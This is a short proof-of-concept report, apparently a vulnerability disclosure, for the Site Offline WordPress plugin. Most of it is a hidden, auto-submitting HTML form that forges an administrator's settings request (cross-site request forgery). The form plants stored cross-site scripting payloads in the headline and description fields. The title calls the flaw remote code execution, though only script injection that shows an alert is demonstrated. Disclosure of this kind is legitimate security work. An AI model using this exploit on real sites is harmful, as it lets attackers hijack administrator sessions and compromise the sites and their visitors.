RCE via site-offline wordpress plugin

1. Setup a WordPress website with the Site Offline plugin installed and activated.
2. Admin visits the page

   <html><head></head>
   <body>
   <form style="opacity: 0;" action="http://local-wp/wp-admin/admin.php?page=sahu_site_offline_wp" method="POST">
   <input type="text" name="action_dashboard" value="sahu_sop_dashboard"/>
   <input type="number" name="sahu_so_status" value='1' />
   <input type="text" name="so_headline" value="" onfocus='alert(1)'" />
   <input type="text" name="so_description" value="<img src=x onerror=alert(1)>" />
   <input type="number" name="display_logo" value='0' />
   <input type="text" name="so_logo_ur" value="">
   <button>submit</button>
   </form>
   <script>document.querySelector('form').submit();</script>
   </body></html>

Expected result:

An alert should be shown on the target WordPress admin panel.